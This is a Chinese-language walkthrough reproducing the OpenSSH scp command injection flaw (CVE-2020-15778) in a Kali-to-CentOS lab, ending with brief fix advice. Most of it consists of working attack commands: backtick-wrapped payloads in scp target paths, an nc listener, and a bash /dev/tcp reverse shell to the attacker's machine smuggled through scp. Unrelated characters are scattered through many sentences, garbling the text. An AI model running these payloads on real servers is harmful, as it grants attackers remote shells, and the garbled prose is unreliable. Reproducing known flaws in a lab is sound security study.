OpenSSH 命令注入漏洞(CVE-2020-15778)漏洞復(fù)現(xiàn)
詳細(xì)描述
OpenSSH(OpenBSD Secure Shell)是OpenBSD計(jì)劃組的一套用于安全訪問遠(yuǎn)程計(jì)算機(jī)的連接工具窗声。該工具是SSH協(xié)議的開源實(shí)現(xiàn),支持對所有的傳輸進(jìn)行加密坐昙,可有效阻止竊聽、連接劫持以及其他網(wǎng)絡(luò)級的攻擊禀崖。
OpenSSH 8.3p1及之前版本中的scp的scp.c文件存在命令注入漏洞徒扶。該漏洞源于外部輸入數(shù)據(jù)構(gòu)造可執(zhí)行命令過程中壁拉,網(wǎng)絡(luò)系統(tǒng)或產(chǎn)品未正確過濾其中的特殊元素。攻擊者可利用該漏洞執(zhí)行非法命令汤功。
影響產(chǎn)品
產(chǎn)品:Openssh
影響的組件:SCP
漏洞版本:<= openssh-8.3p1
漏洞原理
使用scp復(fù)制文件到遠(yuǎn)程服務(wù)器時(shí)物邑,在scp命令后面跟上文件的路徑,具體格式如下:
scp Filename user@host:directory/Filename
在上述過程中,scp會使用”-t“參數(shù)來獲取存儲傳入文件的路徑拂封,如下:
scp -t directory/Filename
問題就出在這個地方茬射,也就是"scp.c"文件的991行,如圖冒签。這個地方未對傳入的文件路徑進(jìn)行檢測防護(hù)在抛。攻擊者可以使用反引號包裹payload然后加上文件名執(zhí)行scp命令,這時(shí)萧恕,payload將會發(fā)送到遠(yuǎn)程服務(wù)器并執(zhí)行刚梭。
利用環(huán)境
描述:要實(shí)現(xiàn)該漏洞必須知道ssh用戶密碼,但是一般來說ssh是阻止連接的票唆。這個時(shí)候我們就可以利用這個漏洞進(jìn)行連接朴读。
攻擊機(jī):Kali-Linux-2020.3
受害機(jī):CentOS-6.8
漏洞復(fù)現(xiàn)
1、在攻擊機(jī)創(chuàng)建一個拷貝用的測試文件(為空即可)
touch test.txt
ls
2走趋、測試在攻擊機(jī)上scp到受害機(jī)
#使用scp命令將test.txt傳送至受害機(jī)的tmp文件夾下
scp test.txt root@10.10.xx.xx:/tmp/test.txt
#之后需要輸入受害機(jī)的密碼衅金,輸入完成后,文件即傳送過去了
3簿煌、查看受害機(jī)
#查看受害機(jī)/tmp目錄氮唯,新增了test.txt文件
ls
注:上述是,測試scp命令是否可以正常使用
4姨伟、開始命令注入攻擊
#在攻擊機(jī)上通過特殊符號 ` 進(jìn)行遠(yuǎn)程命令注入攻擊
scp test.txt root@10.xx.xx.xx:'`touch /tmp/1.sh`/tmp/test.txt'
5惩琉、查看受害機(jī)
#查看受害機(jī)/tmp目錄
ls
注:通過 `` 符號內(nèi)實(shí)現(xiàn)任意遠(yuǎn)程命令執(zhí)行
5、攻擊機(jī)監(jiān)聽端口
#新建一個攻擊機(jī)窗口進(jìn)行監(jiān)聽端口夺荒,如8452
nc -lvp 8452
6瞒渠、反彈shell命令注入攻擊
番外:
命令格式:bash -i >&/dev/tcp/10.10.10.10/8452 0>&1
命令 | 解釋 |
---|---|
bash -i | 產(chǎn)生一個交互式bash |
>& /dev/tcp/ip/port | 建立TCP連接,并將標(biāo)準(zhǔn)輸出和錯誤重定向到TCP連接 |
0>&1 | 從TCP連接獲取輸入 |
言歸正傳:
#攻擊機(jī)原窗口進(jìn)行反彈shell命令注入攻擊
scp test.txt root@受害機(jī)ip:'`bash -i >&/dev/tcp/攻擊機(jī)ip/8452 0>&1`/tmp/test.txt'
7技扼、查看新建的攻擊機(jī)窗口
#執(zhí)行成功伍玖,成功回顯,如下圖
修復(fù)建議
目前廠商暫未發(fā)布修復(fù)措施解決此安全問題剿吻,等待官方補(bǔ)丁https://www.openssh.com/
加強(qiáng)ssh密碼或密鑰的保護(hù)私沮,周期性更換密碼或密鑰
使用rsync代替scp